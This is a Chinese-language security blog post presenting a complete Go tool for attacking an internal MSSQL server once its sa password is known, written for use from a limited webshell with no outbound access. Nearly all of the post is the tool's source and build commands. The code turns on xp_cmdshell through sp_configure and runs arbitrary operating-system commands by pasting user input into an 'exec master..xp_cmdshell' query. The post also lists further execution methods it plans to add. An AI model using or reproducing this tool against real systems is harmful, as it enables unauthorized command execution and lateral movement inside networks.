mssql linux 命令行工具

  • A+
所属分类:安全博客
  • 背景: 已知内网某台机器mssql密码,想利用,php连接mssql又缺少库、webshell无root权限、不能出网、无交互、基于web建立socks通道很容易断、python打包文件过大或缺少库…此工具正是解决该问题的
  • 未解决问题:
  1. 执行多行sql语句并打印
  2. windows 认证
  3. 后面按需要考虑增加 CLR Agent Jobs SandBoxMode sp_OACreate 等方式命令执行

编译:

1
2
docker run  --rm -it -v ${PWD}:/go golang:stretch env  GO111MODULE=on GOPROXY=https://goproxy.io GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags -s -a -installsuffix cgo sqltool.go
upx -9 sqltool

mssql linux 命令行工具
mssql linux 命令行工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
package main

import (
"os"
"fmt"
"log"
//"reflect"
"github.com/urfave/cli"
"database/sql"
_ "github.com/denisenkom/go-mssqldb"
)

var (

server string = "127.0.0.1"
user = "sa"
password string
query string
cmd string
debug bool
enable bool
connString string
conn *sql.DB
err error

)


func main() {
app := cli.NewApp()
app.Name = "Mssql Toolkit"
app.Version = "1.0"

app.Usage = "mssql command tool"
app.Authors = []cli.Author{
cli.Author{
Name: "lostwolf",
Email: "[email protected]",
},
}

app.Flags = []cli.Flag {
cli.StringFlag {
Name: "server,host,s",
Value: "127.0.0.1",
Usage: "The database server",
},
cli.StringFlag {
Name: "user, u",
Value: "sa",
Usage: "The database user",
},
cli.StringFlag {
Name: "password, p",
Usage: "The database password",
},
cli.StringFlag {
Name: "query, sql,q",
Value: "select @@version",
Usage: "SQL query",
},

cli.StringFlag {
Name: "exec,c,cmd",
Value: "whoami",
Usage: "Exec System Command",

},
cli.BoolFlag{
Name: "debug,d",
Usage: "Debug info",
},
cli.BoolFlag{
Name: "enable,e",
Usage: "Enabled xp_cmdshell",
},
}

app.Action = func(c *cli.Context) error {
if c.IsSet("server"){
server=c.String("server")
}
if c.IsSet("user"){
user=c.String("user")
}
if c.IsSet("password"){
password=c.String("password")
}
if c.IsSet("query"){
query=c.String("query")
}
if c.IsSet("cmd"){
cmd=c.String("cmd")
}


connString = fmt.Sprintf("server=%s;user id=%s;password=%s;port=1433;encrypt=disable", server, user, password)
conn,err = sql.Open("mssql", connString)
defer conn.Close()
//fmt.Println(reflect.TypeOf(conn))
//fmt.Println(conn)

if err != nil {
log.Fatal("Open connection failed:", err.Error())
}
//fmt.Println(" Connect:",connString)
defer conn.Close()
if c.IsSet("debug"){
if c.Bool("debug"){
log.Println("Debug info:")
fmt.Printf(" server:%sn", server)
fmt.Printf(" user:%sn", user)
fmt.Printf(" password:%sn", password)
fmt.Printf(" Query:%sn", query)
fmt.Printf(" Cmd:%sn", cmd)
fmt.Println(" Connect:",connString)
}
}
if c.IsSet("enable"){
if c.Bool("enable"){
Open()
}
}

if c.IsSet("query"){
exec_sql()
}
if c.IsSet("cmd"){
os_shell()
}

return nil
}

if len(os.Args) <=1 {
fmt.Printf("Try '%s --help' for more options.n",os.Args[0])
}

err :=app.Run(os.Args)
if err !=nil {
log.Fatal(err)

}
}

func exec_sql(){
rows, err := conn.Query(query)
if err != nil {

panic(err.Error())

}
defer rows.Close()

columns, err := rows.Columns()
if err !=nil{
panic(err.Error())
}
values := make([]sql.RawBytes, len(columns))
scanArgs := make([]interface{}, len(values))
for i := range values {
scanArgs[i] = &values[i]
}

for rows.Next(){
err=rows.Scan(scanArgs...)
if err !=nil{
panic(err.Error())
}
var value string
for _,col := range values{
if col ==nil{
value=""
}else{
value=string(col)
}
fmt.Println(value)

}
//fmt.Println("-----------------------------------")

}
if err = rows.Err(); err != nil {
panic(err.Error()) // proper error handling instead of panic in your app
}
}

func Open() {
value, err :=conn.Prepare("select value_in_use from sys.configurations where name = 'xp_cmdshell'")
if err != nil {
log.Fatal("Prepare failed:", err.Error())
}
defer value.Close()

row := value.QueryRow()
//var somenumber int64
var v int
err = row.Scan( &v)
if err != nil {
log.Fatal("Query failed:", err.Error())
}
if v==1 {
fmt.Printf("xp_cmdshell Enabledn")

}else{
fmt.Printf("Open xp_cmdshell...n")
stmt, err := conn.Prepare("EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
if err != nil {
//fmt.Println("Query Error", err)
return
}

defer stmt.Close()
stmt.Query()


}
return

}


func os_shell(){
rows, err := conn.Query(`exec master..xp_cmdshell '` + cmd + `' `)
if err != nil {

panic(err.Error())

}
defer rows.Close()

columns, err := rows.Columns()
if err !=nil{
panic(err.Error())
}
values := make([]sql.RawBytes, len(columns))
scanArgs := make([]interface{}, len(values))
for i := range values {
scanArgs[i] = &values[i]
}

for rows.Next(){
err=rows.Scan(scanArgs...)
if err !=nil{
panic(err.Error())
}
var value string
for _,col := range values{
if col ==nil{
value=""
}else{
value=string(col)
}
fmt.Println(value)

}

}
if err = rows.Err(); err != nil {
panic(err.Error()) // proper error handling instead of panic in your app
}
}

Source:wolvez.club | Author:wolvez

相关推荐: 内网文件传输

/01 Windows一,FTPftp服务器: 使用Python开启简单ftp服务 123pip3 install pyftpdlibpython3 -m pyftpdlib 目标机: 本地用copy方式写一个ftp.txt 1copy con ftp.txt…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: